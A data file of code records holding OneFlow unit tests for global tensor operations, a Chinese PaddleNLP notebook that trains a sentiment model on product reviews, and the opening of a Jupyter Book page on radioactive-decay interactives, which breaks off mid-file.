{"text": "\"\"\"\nCopyright 2020 The OneFlow Authors. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport unittest\nfrom collections import OrderedDict\n\nimport numpy as np\nfrom oneflow.test_utils.test_util import GenArgList\n\nimport oneflow as flow\nimport oneflow.unittest\n\nfrom oneflow.test_utils.automated_test_util import *\n\n\ndef _test_type_as(test_case, shape, src_dtype, tgt_dtype, placement, sbp):\n    np_input = np.random.rand(*shape)\n    input = flow.tensor(np_input, dtype=src_dtype).to_global(placement, sbp)\n    target = flow.tensor(np_input, dtype=tgt_dtype).to_global(placement, sbp)\n    input = input.type_as(target)\n    test_case.assertEqual(input.dtype, target.dtype)\n\n\ndef _test_is_floating_point(test_case, shape, dtype, placement, sbp):\n    np_input = np.random.rand(*shape)\n    input = flow.tensor(np_input, dtype=dtype).to_global(placement, sbp)\n    output = input.is_floating_point()\n    if input.dtype in (flow.float, flow.float16, flow.float32, flow.double):\n        test_case.assertEqual(output, True)\n    else:\n        test_case.assertEqual(output, False)\n\n\n@autotest(n=1, check_graph=False)\n@unittest.skipIf(os.getenv(\"ONEFLOW_TEST_CPU_ONLY\"), \"only test cpu cases\")\ndef _test_global_cuda(test_case, placement, sbp):\n    x = random_tensor(2, 8, 16).to_global(placement, sbp)\n    x = x.cuda()\n    y = x.sum()\n    return y\n\n\nclass TestConsistentCuda(flow.unittest.TestCase):\n    @globaltest\n    def test_global_cuda(test_case):\n        for placement in all_placement():\n            for sbp in all_sbp(placement, max_dim=2):\n                _test_global_cuda(test_case, placement, sbp)\n\n\n@autotest(n=1, check_graph=False)\ndef _test_global_cpu(test_case, placement, sbp):\n    x = random_tensor(2, 8, 16).to_global(placement, sbp)\n    x = x.cpu()\n    y = x.sum()\n    return y\n\n\n# PyTorch error if open auto_backward:\n# element 0 of tensors does not require grad and does not have a grad_fn\n@autotest(n=1, auto_backward=False, check_graph=False)\ndef _test_global_long(test_case, placement, sbp):\n    x = random_tensor(2, 8, 16, requires_grad=True).to_global(placement, sbp)\n    y = x.long()\n    test_case.assertFalse(y.oneflow.requires_grad)\n    return y\n\n\n@autotest(n=1, auto_backward=False, check_graph=False)\ndef _test_global_int(test_case, placement, sbp):\n    x = random_tensor(2, 8, 16, requires_grad=True).to_global(placement, sbp)\n    y = x.int()\n    test_case.assertFalse(y.oneflow.requires_grad)\n    return y\n\n\n@autotest(n=1, auto_backward=False, check_graph=False)\ndef _test_global_float(test_case, placement, sbp):\n    x = random_tensor(2, 8, 16, dtype=int).to_global(placement, sbp)\n    y = x.float()\n    return y\n\n\n@autotest(n=1, auto_backward=False, check_graph=False)\ndef _test_global_double(test_case, placement, sbp):\n    x = random_tensor(2, 8, 16, dtype=int).to_global(placement, sbp)\n    y = x.double()\n    return y\n\n\n@autotest(n=1, auto_backward=False, check_graph=False)\ndef _test_global_item(test_case, placement, sbp):\n    x = random_tensor(ndim=1, dim0=1, dtype=int).to_global(placement, sbp)\n    y = torch.tensor(x.item())\n    return y\n\n\n@autotest(n=1, auto_backward=False, check_graph=False)\ndef _test_global_tolist(test_case, placement, sbp):\n    x = random_tensor(ndim=4, dim0=8, dim1=16, dim2=24, dim3=32, dtype=int).to_global(\n        placement, sbp\n    )\n    y = torch.tensor(x.tolist())\n    return y\n\n\nclass TestConsistentTensorOps(flow.unittest.TestCase):\n    @globaltest\n    def test_global_cpu(test_case):\n        for placement in all_placement():\n            for sbp in all_sbp(placement, max_dim=2):\n                _test_global_cpu(test_case, placement, sbp)\n\n    @globaltest\n    def test_global_long(test_case):\n        for placement in all_placement():\n            for sbp in all_sbp(placement, max_dim=2):\n                _test_global_long(test_case, placement, sbp)\n\n    @globaltest\n    def test_global_int(test_case):\n        for placement in all_placement():\n            for sbp in all_sbp(placement, max_dim=2):\n                _test_global_int(test_case, placement, sbp)\n\n    @globaltest\n    def test_global_float(test_case):\n        for placement in all_placement():\n            for sbp in all_sbp(placement, max_dim=2):\n                _test_global_float(test_case, placement, sbp)\n\n    @globaltest\n    def test_global_double(test_case):\n        for placement in all_placement():\n            for sbp in all_sbp(placement, max_dim=2):\n                _test_global_double(test_case, placement, sbp)\n\n    @globaltest\n    def test_global_item(test_case):\n        for placement in all_placement():\n            for sbp in all_sbp(placement, max_dim=1, except_split=True):\n                _test_global_item(test_case, placement, sbp)\n\n    @globaltest\n    def test_global_tolist(test_case):\n        for placement in all_placement():\n            for sbp in all_sbp(placement, max_dim=4):\n                _test_global_tolist(test_case, placement, sbp)\n\n    @globaltest\n    def test_type_as(test_case):\n        arg_dict = OrderedDict()\n        arg_dict[\"shape\"] = [(8, 16), (8, 16, 24), (8, 16, 24, 32)]\n        arg_dict[\"src_dtype\"] = [flow.int64, flow.int32, flow.float32, flow.float64]\n        arg_dict[\"tgt_dtype\"] = [flow.int64, flow.int32, flow.float32, flow.float64]\n        for arg in GenArgList(arg_dict):\n            for placement in all_placement():\n                for sbp in all_sbp(placement, max_dim=len(arg[0])):\n                    _test_type_as(test_case, *arg, placement, sbp)\n\n    @globaltest\n    def test_is_floating_point(test_case):\n        arg_dict = OrderedDict()\n        arg_dict[\"shape\"] = [(8, 16), (8, 16, 24), (8, 16, 24, 32)]\n        arg_dict[\"dtype\"] = [\n            # flow.uint8, nccl don't support uint8\n            flow.int8,\n            flow.int32,\n            flow.int64,\n            flow.float32,\n            flow.float64,\n            flow.double,\n            flow.float,\n            flow.int,\n        ]\n        for arg in GenArgList(arg_dict):\n            for placement in all_placement():\n                for sbp in all_sbp(placement, max_dim=len(arg[0])):\n                    _test_is_floating_point(test_case, *arg, placement, sbp)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "00d0698c7ee709eb61303e6c5087902ada5c93e0", "size": 6673, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/oneflow/test/modules/test_consistent_tensor_ops.py", "max_stars_repo_name": "Panlichen/oneflow", "max_stars_repo_head_hexsha": "ad93c69c9932e5515aa31fb7f157073708810a3d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python/oneflow/test/modules/test_consistent_tensor_ops.py", "max_issues_repo_name": "Panlichen/oneflow", "max_issues_repo_head_hexsha": "ad93c69c9932e5515aa31fb7f157073708810a3d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/oneflow/test/modules/test_consistent_tensor_ops.py", "max_forks_repo_name": "Panlichen/oneflow", "max_forks_repo_head_hexsha": "ad93c69c9932e5515aa31fb7f157073708810a3d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-15T02:14:49.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-15T02:14:49.000Z", "avg_line_length": 33.8730964467, "max_line_length": 86, "alphanum_fraction": 0.6773565113, "include": true, "reason": "import numpy", "num_tokens": 1723, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44552952031526044, "lm_q2_score": 0.1276526186843706, "lm_q1q2_score": 0.05687300996943449}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # \u7ade\u8d5b\u7cfb\u5217\uff1a\u5546\u54c1\u8bc4\u8bba\u60c5\u611f\u9884\u6d4b\u5206\u6790\n\n# \u7535\u5546\u5e73\u53f0\u4e2d,\u5f88\u591a\u7528\u6237\u90fd\u4f1a\u57fa\u4e8e\u81ea\u5df1\u7684\u8d2d\u7269\u4f53\u9a8c\u5bf9\u5546\u54c1\u8fdb\u884c\u8bc4\u5206\u548c\u8bc4\u8bba.\u4f46\u6709\u4e9b\u7528\u6237\u53ea\u7ed9\u51fa\u4e86\u8bc4\u8bba\u800c\u6ca1\u6709\u8bc4\u5206\uff0c\u6ca1\u6709\u4e86\u8bc4\u5206\u7684\u91cf\u5316\u6807\u51c6\uff0c\u8fd9\u7ed9\u5546\u5bb6\u8fdb\u884c\u6570\u636e\u8fd0\u8425\u4e0e\u9009\u54c1\u51b3\u7b56\u5e26\u6765\u4e86\u56f0\u96be\u3002\u5982\u4f55\u6839\u636e\u5546\u54c1\u8bc4\u8bba\u4f30\u8ba1\u51fa\u76f8\u5bf9\u5e94\u7684\u8bc4\u5206\uff0c\u8fd9\u662f\u60c5\u611f\u5206\u6790\u7684\u95ee\u9898\uff0c\u800c\u5f97\u5230\u8fd9\u4e9b\u4fe1\u606f\uff0c\u4e5f\u6709\u5229\u4e8e\u5bf9\u5e94\u5546\u54c1\u7684\u751f\u4ea7\u81ea\u8eab\u7ade\u4e89\u529b\u7684\u63d0\u9ad8\uff0c\u4ee5\u53ca\u4e3a\u7528\u6237\u63d0\u4f9b\u9ad8\u8d28\u91cf\u611f\u5174\u8da3\u7684\u5546\u54c1\u3002\n# \u6211\u4eec\u5c06\u91c7\u7528 PaddleNLP \u5bf9\u672c\u6570\u636e\u96c6\u7684\u6570\u636e\u8fdb\u884c\u60c5\u611f\u5206\u6790\uff0c\u7528 NLP \u81ea\u7136\u8bed\u8a00\u5904\u7406\u4e2d\u5e38\u7528\u7684 Transformer \u6a21\u578b\u8fdb\u884c\u8bad\u7ec3\n\n# \u6570\u636e\u7b80\u4ecb\n# \n# \u672c\u6570\u636e\u96c6\u5305\u62ec52 \u4e07\u4ef6\u5546\u54c1\uff0c1100 \u591a\u4e2a\u7c7b\u76ee\uff0c142 \u4e07\u7528\u6237\uff0c720 \u4e07\u6761\u8bc4\u8bba/\u8bc4\u5206\u6570\u636e\n# \u672c\u6b21\u7ec3\u4e60\u8d5b\u6240\u4f7f\u7528\u6570\u636e\u96c6\u57fa\u4e8eJD\u7684\u7535\u5546\u6570\u636e\uff0c\u6765\u81eaWWW\u7684JD.com E-Commerce Data\uff0c\u5e76\u4e14\u9488\u5bf9\u90e8\u5206\u5b57\u6bb5\u505a\u51fa\u4e86\u4e00\u5b9a\u7684\u8c03\u6574\uff0c\u6240\u6709\u7684\u5b57\u6bb5\u4fe1\u606f\u8bf7\u4ee5\u672c\u7ec3\u4e60\u8d5b\u63d0\u4f9b\u7684\u5b57\u6bb5\u4fe1\u606f\u4e3a\u51c6\n# \u8bc4\u5206\u4e3a[1,5] \u4e4b\u95f4\u7684\u6574\u6570\n\n# \u4e8c\u3001\u6570\u636e\u521d\u6b65\u5904\u7406\n\n# !pip install -U paddlenlp\n\n# 1.\u89e3\u538b\u6570\u636e\n# !tar -xvf data/data96333/\u5546\u54c1\u8bc4\u8bba\u60c5\u611f\u9884\u6d4b.gz\n\n# **2.\u67e5\u770b\u6570\u636e**\n# !head \u8bad\u7ec3\u96c6.csv\n# \n# !head \u6d4b\u8bd5\u96c6.csv\n# \n# !head submission.csv\n\n# **3.\u91cd\u5199read\u65b9\u6cd5\u8bfb\u53d6\u81ea\u5b9a\u4e49\u6570\u636e\u96c6**\n\n# In[6]:\n\n\nfrom paddlenlp.datasets import load_dataset\nfrom paddle.io import Dataset, Subset\nfrom paddlenlp.datasets import MapDataset\nimport re\n\n\n# \u6570\u636eID,\u7528\u6237ID,\u5546\u54c1ID,\u8bc4\u8bba\u65f6\u95f4\u6233,\u8bc4\u8bba\u6807\u9898,\u8bc4\u8bba\u5185\u5bb9,\u8bc4\u5206\ndef read(data_path):\n    with open(data_path, 'r', encoding='utf-8') as in_f:\n        next(in_f)\n        for line in in_f:\n            line = line.strip('\\n')\n            split_array = [i.start() for i in re.finditer(',', line)]\n            id = line[:split_array[0]]\n            comment_title = line[split_array[3] + 1:split_array[4]]\n            comment = line[split_array[4] + 2:split_array[-2]]\n            label = line[split_array[-1] + 1:]\n            yield {'text': comment_title  +' '+ comment, 'label': str(int(label.split('.')[0])-1), 'qid': id}\n\n# \u6570\u636eID,\u7528\u6237ID,\u5546\u54c1ID,\u8bc4\u8bba\u65f6\u95f4\u6233,\u8bc4\u8bba\u6807\u9898,\u8bc4\u8bba\u5185\u5bb9,\u8bc4\u5206\ndef read_test(data_path):\n    with open(data_path, 'r', encoding='utf-8') as in_f:\n        next(in_f)\n        for line in in_f:\n            line = line.strip('\\n')\n            split_array = [i.start() for i in re.finditer(',', line)]\n            id = line[:split_array[0]]\n            id=id.split('_')[-1]\n            comment_title = line[split_array[3] + 1:split_array[4]]\n            comment = line[split_array[4] + 2:split_array[-2]]\n            label= '1'\n            yield {'text': comment_title  +' '+ comment, 'label': label, 'qid': id}\n\n\n# **4.\u8bad\u7ec3\u96c6\u8f7d\u5165**\n\n# In[3]:\n\n\n# data_path\u4e3aread()\u65b9\u6cd5\u7684\u53c2\u6570\ndataset_ds = load_dataset(read, data_path='\u8bad\u7ec3\u96c6.csv',lazy=False)\n# \u5728\u8fd9\u8fdb\u884c\u5212\u5206\ntrain_ds = Subset(dataset=dataset_ds, indices=[i for i in range(len(dataset_ds)) if i % 10 != 1])\ndev_ds = Subset(dataset=dataset_ds, indices=[i for i in range(len(dataset_ds)) if i % 10 == 1])\n\ntest_ds =  load_dataset(read_test, data_path='\u6d4b\u8bd5\u96c6.csv',lazy=False)\n\n\n# In[4]:\n\n\nfor i in range(5):\n    print(test_ds[i])\n\n\n# In[5]:\n\n\n# \u5728\u8f6c\u6362\u4e3aMapDataset\u7c7b\u578b\ntrain_ds = MapDataset(train_ds)\ndev_ds = MapDataset(dev_ds)\ntest_ds = MapDataset(test_ds)\nprint(len(train_ds))\nprint(len(dev_ds))\nprint(len(test_ds))\n\n\n# **\u4e09\u3001SKEP\u6a21\u578b\u52a0\u8f7d**\n\n# In[7]:\n\n\n# \u6307\u5b9a\u6a21\u578b\u540d\u79f0\u4e00\u952e\u52a0\u8f7d\u6a21\u578b\nfrom paddlenlp.transformers import SkepForSequenceClassification, SkepTokenizer\n\nmodel = SkepForSequenceClassification.from_pretrained(\n    'skep_ernie_1.0_large_ch', num_classes=  5)\n# \u6307\u5b9a\u6a21\u578b\u540d\u79f0\u4e00\u952e\u52a0\u8f7dtokenizer\ntokenizer = SkepTokenizer.from_pretrained('skep_ernie_1.0_large_ch')\n\n\n# **\u56db\u3001\u6570\u636eNLP\u7279\u5f81\u5904\u7406**\n\n# In[ ]:\n\n\nimport os\nfrom functools import partial\n\n\nimport numpy as np\nimport paddle\nimport paddle.nn.functional as F\nfrom paddlenlp.data import Stack, Tuple, Pad\n\nfrom utils import create_dataloader\n\ndef convert_example(example,\n                    tokenizer,\n                    max_seq_length=512,\n                    is_test=False):\n   \n    # \u5c06\u539f\u6570\u636e\u5904\u7406\u6210model\u53ef\u8bfb\u5165\u7684\u683c\u5f0f\uff0cenocded_inputs\u662f\u4e00\u4e2adict\uff0c\u5305\u542binput_ids\u3001token_type_ids\u7b49\u5b57\u6bb5\n    encoded_inputs = tokenizer(\n        text=example[\"text\"], max_seq_len=max_seq_length)\n\n    # input_ids\uff1a\u5bf9\u6587\u672c\u5207\u5206token\u540e\uff0c\u5728\u8bcd\u6c47\u8868\u4e2d\u5bf9\u5e94\u7684token id\n    input_ids = encoded_inputs[\"input_ids\"]\n    # token_type_ids\uff1a\u5f53\u524dtoken\u5c5e\u4e8e\u53e5\u5b501\u8fd8\u662f\u53e5\u5b502\uff0c\u5373\u4e0a\u8ff0\u56fe\u4e2d\u8868\u8fbe\u7684segment ids\n    token_type_ids = encoded_inputs[\"token_type_ids\"]\n\n    if not is_test:\n        # label\uff1a\u60c5\u611f\u6781\u6027\u7c7b\u522b\n        label = np.array([example[\"label\"]], dtype=\"int64\")\n        return input_ids, token_type_ids, label\n    else:\n        # qid\uff1a\u6bcf\u6761\u6570\u636e\u7684\u7f16\u53f7\n        qid = np.array([example[\"qid\"]], dtype=\"int64\")\n        return input_ids, token_type_ids, qid\n\n\n# In[ ]:\n\n\nfrom utils import create_dataloader\n# \u5904\u7406\u7684\u6700\u5927\u6587\u672c\u5e8f\u5217\u957f\u5ea6\nmax_seq_length=256\n# \u6279\u91cf\u6570\u636e\u5927\u5c0f\nbatch_size=35\n\ntrain_ds = Subset(dataset=dataset_ds, indices=[i for i in range(len(dataset_ds)) if i % 10 != 1])\ndev_ds = Subset(dataset=dataset_ds, indices=[i for i in range(len(dataset_ds)) if i % 10 == 1])\n\n\n# \u5c06\u6570\u636e\u5904\u7406\u6210\u6a21\u578b\u53ef\u8bfb\u5165\u7684\u6570\u636e\u683c\u5f0f\ntrans_func = partial(\n    convert_example,\n    tokenizer=tokenizer,\n    max_seq_length=max_seq_length)\n\n# \u5c06\u6570\u636e\u7ec4\u6210\u6279\u91cf\u5f0f\u6570\u636e\uff0c\u5982\n# \u5c06\u4e0d\u540c\u957f\u5ea6\u7684\u6587\u672c\u5e8f\u5217padding\u5230\u6279\u91cf\u5f0f\u6570\u636e\u4e2d\u6700\u5927\u957f\u5ea6\n# \u5c06\u6bcf\u6761\u6570\u636elabel\u5806\u53e0\u5728\u4e00\u8d77\nbatchify_fn = lambda samples, fn=Tuple(\n    Pad(axis=0, pad_val=tokenizer.pad_token_id),  # input_ids\n    Pad(axis=0, pad_val=tokenizer.pad_token_type_id),  # token_type_ids\n    Stack()  # labels\n): [data for data in fn(samples)]\ntrain_data_loader = create_dataloader(\n    train_ds,\n    mode='train',\n    batch_size=batch_size,\n    batchify_fn=batchify_fn,\n    trans_fn=trans_func)\ndev_data_loader = create_dataloader(\n    dev_ds,\n    mode='dev',\n    batch_size=batch_size,\n    batchify_fn=batchify_fn,\n    trans_fn=trans_func)\n\n\n# **\u4e94\u3001\u6a21\u578b\u8bad\u7ec3**\n\n# **1.\u8bad\u7ec3\u51c6\u5907**\n\n# In[ ]:\n\n\nimport time\n\nfrom utils import evaluate\n\n# \u8bad\u7ec3\u8f6e\u6b21\nepochs = 10\n# \u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u4fdd\u5b58\u6a21\u578b\u53c2\u6570\u7684\u6587\u4ef6\u5939\nckpt_dir = \"skep_ckpt\"\n# len(train_data_loader)\u4e00\u8f6e\u8bad\u7ec3\u6240\u9700\u8981\u7684step\u6570\nnum_training_steps = len(train_data_loader) * epochs\n\n# Adam\u4f18\u5316\u5668\noptimizer = paddle.optimizer.AdamW(\n    learning_rate=2e-5,\n    parameters=model.parameters())\n# \u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570\ncriterion = paddle.nn.loss.CrossEntropyLoss()\n# accuracy\u8bc4\u4ef7\u6307\u6807\nmetric = paddle.metric.Accuracy()\n\n\n# **2.\u5f00\u59cb\u8bad\u7ec3**\n\n# In[ ]:\n\n\n# \u5f00\u542f\u8bad\u7ec3\n\n# \u52a0\u5165\u65e5\u5fd7\u663e\u793a\nfrom visualdl import LogWriter\n\nwriter = LogWriter(\"./log\")\nbest_val_acc=0\nglobal_step = 0\ntic_train = time.time()\nfor epoch in range(1, epochs + 1):\n    for step, batch in enumerate(train_data_loader, start=1):\n        input_ids, token_type_ids, labels = batch\n        # \u5582\u6570\u636e\u7ed9model\n        logits = model(input_ids, token_type_ids)\n        # \u8ba1\u7b97\u635f\u5931\u51fd\u6570\u503c\n        loss = criterion(logits, labels)\n        # \u9884\u6d4b\u5206\u7c7b\u6982\u7387\u503c\n        probs = F.softmax(logits, axis=1)\n        # \u8ba1\u7b97acc\n        correct = metric.compute(probs, labels)\n        metric.update(correct)\n        acc = metric.accumulate()\n\n        global_step += 1\n        if global_step % 10 == 0:\n            print(\n                \"global step %d, epoch: %d, batch: %d, loss: %.5f, accu: %.5f, speed: %.2f step/s\"\n                % (global_step, epoch, step, loss, acc,\n                    10 / (time.time() - tic_train)))\n            tic_train = time.time()\n        \n        # \u53cd\u5411\u68af\u5ea6\u56de\u4f20\uff0c\u66f4\u65b0\u53c2\u6570\n        loss.backward()\n        optimizer.step()\n        optimizer.clear_grad()\n\n        if global_step % 100 == 0:\n            # \u8bc4\u4f30\u5f53\u524d\u8bad\u7ec3\u7684\u6a21\u578b\n            eval_loss, eval_accu = evaluate(model, criterion, metric, dev_data_loader)\n            print(\"eval  on dev  loss: {:.8}, accu: {:.8}\".format(eval_loss, eval_accu))\n            # \u52a0\u5165eval\u65e5\u5fd7\u663e\u793a\n            writer.add_scalar(tag=\"eval/loss\", step=global_step, value=eval_loss)\n            writer.add_scalar(tag=\"eval/acc\", step=global_step, value=eval_accu)\n            # \u52a0\u5165train\u65e5\u5fd7\u663e\u793a\n            writer.add_scalar(tag=\"train/loss\", step=global_step, value=loss)\n            writer.add_scalar(tag=\"train/acc\", step=global_step, value=acc)\n            save_dir = \"best_checkpoint\"\n            # \u52a0\u5165\u4fdd\u5b58       \n            if eval_accu>best_val_acc:\n                if not os.path.exists(save_dir):\n                    os.mkdir(save_dir)\n                best_val_acc=eval_accu\n                print(f\"\u6a21\u578b\u4fdd\u5b58\u5728 {global_step} \u6b65\uff0c \u6700\u4f73eval\u51c6\u786e\u5ea6\u4e3a{best_val_acc:.8f}\uff01\")\n                save_param_path = os.path.join(save_dir, 'best_model.pdparams')\n                paddle.save(model.state_dict(), save_param_path)\n                fh = open('best_checkpoint/best_model.txt', 'w', encoding='utf-8')\n                fh.write(f\"\u6a21\u578b\u4fdd\u5b58\u5728 {global_step} \u6b65\uff0c \u6700\u4f73eval\u51c6\u786e\u5ea6\u4e3a{best_val_acc:.8f}\uff01\")\n                fh.close()\n\n\n# **\u516d\u3001\u9884\u6d4b\u63d0\u4ea4\u7ed3\u679c**\n\n# **1.\u6d4b\u8bd5\u6570\u636e\u96c6\u5904\u7406**\n\n# In[ ]:\n\n\n\ntest_ds =  load_dataset(read_test, data_path='\u6d4b\u8bd5\u96c6.csv',lazy=False)\n# \u5728\u8f6c\u6362\u4e3aMapDataset\u7c7b\u578b\ntest_ds = MapDataset(test_ds)\nprint(len(test_ds))\n\n\n# In[ ]:\n\n\nimport numpy as np\nimport paddle\n\n# \u5904\u7406\u6d4b\u8bd5\u96c6\u6570\u636e\ntrans_func = partial(\n    convert_example,\n    tokenizer=tokenizer,\n    max_seq_length=max_seq_length,\n    is_test=True)\nbatchify_fn = lambda samples, fn=Tuple(\n    Pad(axis=0, pad_val=tokenizer.pad_token_id),  # input\n    Pad(axis=0, pad_val=tokenizer.pad_token_type_id),  # segment\n    Stack() # qid\n): [data for data in fn(samples)]\ntest_data_loader = create_dataloader(\n    test_ds,\n    mode='test',\n    batch_size=batch_size,\n    batchify_fn=batchify_fn,\n    trans_fn=trans_func)\n\n\n# **2.\u52a0\u8f7d\u9884\u6d4b\u6a21\u578b**\n\n# In[ ]:\n\n\n\n# \u6839\u636e\u5b9e\u9645\u8fd0\u884c\u60c5\u51b5\uff0c\u66f4\u6362\u52a0\u8f7d\u7684\u53c2\u6570\u8def\u5f84\nparams_path = 'best_checkpoint/best_model.pdparams'\nif params_path and os.path.isfile(params_path):\n    # \u52a0\u8f7d\u6a21\u578b\u53c2\u6570\n    state_dict = paddle.load(params_path)\n    model.set_dict(state_dict)\n    print(\"Loaded parameters from %s\" % params_path)\n\n\n# **3.\u5f00\u59cb\u9884\u6d4b**\n\n# In[ ]:\n\n\n\n# \u5904\u7406\u6d4b\u8bd5\u96c6\u6570\u636e\nlabel_map = {0: '1', 1:'2', 2:'3', 3:'4',4:'5'}\nresults = []\n# \u5207\u6362model\u6a21\u578b\u4e3a\u8bc4\u4f30\u6a21\u5f0f\uff0c\u5173\u95eddropout\u7b49\u968f\u673a\u56e0\u7d20\nmodel.eval()\nfor batch in test_data_loader:\n    input_ids, token_type_ids, qids = batch\n    # \u5582\u6570\u636e\u7ed9\u6a21\u578b\n    logits = model(input_ids, token_type_ids)\n    # \u9884\u6d4b\u5206\u7c7b\n    probs = F.softmax(logits, axis=-1)\n    idx = paddle.argmax(probs, axis=1).numpy()\n    idx = idx.tolist()\n    labels = [label_map[i] for i in idx]\n    qids = qids.numpy().tolist()\n    results.extend(zip(qids, labels))\n\n\n# **4.\u4fdd\u5b58\u7ed3\u679c**\n\n# In[ ]:\n\n\n# \u5199\u5165\u9884\u6d4b\u7ed3\u679c\nwith open( \"submission.csv\", 'w', encoding=\"utf-8\") as f:\n    # f.write(\"\u6570\u636eID,\u8bc4\u5206\\n\")\n    f.write(\"id,score\\n\")\n\n    for (idx, label) in results:\n        f.write('TEST_'+str(idx[0])+\",\"+label+\"\\n\")\n\n\n# **5.\u68c0\u67e5\u7ed3\u679c**\n\n# In[ ]:\n\n\nget_ipython().system('tail \u6d4b\u8bd5\u96c6.csv')\n\n", "meta": {"hexsha": "0fcabbf764f5880262a7067c8020546b53b3e031", "size": 9524, "ext": "py", "lang": "Python", "max_stars_repo_path": "readme.py", "max_stars_repo_name": "lynnwang90/Demo", "max_stars_repo_head_hexsha": "c71eb3260d41e0173854fc47c6a9c3bd020db174", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "readme.py", "max_issues_repo_name": "lynnwang90/Demo", "max_issues_repo_head_hexsha": "c71eb3260d41e0173854fc47c6a9c3bd020db174", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "readme.py", "max_forks_repo_name": "lynnwang90/Demo", "max_forks_repo_head_hexsha": "c71eb3260d41e0173854fc47c6a9c3bd020db174", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.5463917526, "max_line_length": 156, "alphanum_fraction": 0.6498320034, "include": true, "reason": "import numpy", "num_tokens": 3245, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3998116550426623, "lm_q2_score": 0.1422318895559828, "lm_q1q2_score": 0.05686596716322263}}
{"text": "from IPython.display import HTML\n\nHTML('''<script>\ncode_show=true; \nfunction code_toggle() {\n if (code_show){\n $('div.input').hide();\n } else {\n $('div.input').show();\n }\n code_show = !code_show\n} \n$( document ).ready(code_toggle);\n</script>\nThe raw code for this IPython notebook is by default hidden for easier reading.\nTo toggle on/off the raw code, click <a href=\"javascript:code_toggle()\">here</a>.''')\n\n# Radioactive Decay Interactives\n\nThe following interactive figures were borrowed from [Astro Interactives](https://juancab.github.io/AstroInteractives/) and adapted for easy access into this Jupyter Book. The first one shows the random yet predictable nature of radioactive decay and its use as a time clock.  The second one illustrates Geochron plots. \n\n## Interactive Figure 1: Model of Radioactive Decay\n\nThis first figure takes a population of 900 atoms and models their radioactive decay.\n\nThis first interactive is designed to allow you to explore what happens during radioactive decay of some isotope. An *isotope* refers to a particular version of an element.  For example, the non-radioactive Carbon-12 isotope has 6 protons and 6 neutrons in its nucleus but the radioactive Carbon-14 isotope has 6 protons and 8 neutrons in its nucleus.  Different isotopes of the same element behave identically in terms of chemistry and bonding to other atoms, but their nuclear properties can differ.\n\nDuring radioactive decay, a *parent isotope* is said to decay into a *daughter isotope*.  So, for example, the parent isotope of Carbon-14 decays into Nitrogen-14.  There is no way to predict when any one nucleus of a *parent isotope* will decay into a *daughter isotope*.   That said, if you look at a large number of nuclei of a parent isotope, they exhibit a very simple property:\n\n> **The same *fraction* of a radioactive parent isotope will decay over the same amount of time.**\n    \nThe time it takes for one-half of a population of parent isotopes to decay (on average) into daughter isotopes is called the *half-life* of that isotope.  Different parent isotopes can have very different half-lifes.   **NOTE:** This interactive shows a simulation of the decay of only 900 atoms.  The radioactive decay is still modelled as occurring randomly for any one atom, so the simulation will show slightly different results on different runs!!\n\nSome questions to consider \n1. After 1 half-life, about 50% of a parent isotope should have decayed and become daughter isotope.  Use the interactive graphic below and adjust the elapsed time to figure out how long one half-life is for each isotope.  Explain your approach.\n2. How much of a parent isotope is left after 2 half-lifes? 3 half-lifes? 4 half-lifes? 5 half-lifes?  Explain how you figured this out.\n3. You should have found about 25% of the original amount of parent isotope is left after 2 half-lifes.  This may seem surprising since in the first half-life 50% of the original amount of parent isotope decayed.  Explain why 'less' of it decayed during the second half-life.  **HINT** Consider the very simple property of radioactive decay we highlighted above.\n\nfrom IPython.display import display\nimport numpy as np\nimport bqplot as bq\nimport ipywidgets as widgets\nimport random as random\nimport pandas as pd\nimport number_formatting as nf\nfrom math import ceil, floor, log10\n\n## Originally developed June 2018 by Samuel Holen\n##\n## Edits by Juan Cabanela October 2018 to allow changes in the GUI.\n## - Made the display of the precise number/faction of parent/daught atoms instructor\n##   configurable.\n## - Fixed a problem with the display of data, forced data to only be displayed for first\n##   10 half-lifes regardless of actual generated decay times (this allows hard-coding of)\n##   num_ticks and tick values.\n\n## Pre-construct model of radioactive decay of a population\n## of parent and daughter atoms.\n## \n\n# GUI Configuration Parameters\nshow_counts = True\nmax_half_lifes = 10   # maximum half-lives to graph\ntime_ticks = 6  # number of ticks for the time axis\n# half-lives to place ticks on horizontal axis\nhalf_life_ticks = np.linspace(0, max_half_lifes, time_ticks)\n\n# Constants Related to decay of the parent species to the daughter species\nN_parent = 900          # initial number of parent atoms (should be a perfect square)\nN_daughter = 0          # initial number of daughter atoms\ntau = 1                 # placeholder for the half-life of the parent species \nh = 0.025               # time step (in half lives)\nmu = np.log(2.) / tau   # constant for decay time distribution \nPlot_all_times = True   # Plot all times (otherwise, selects only before time slider value)\n\n# 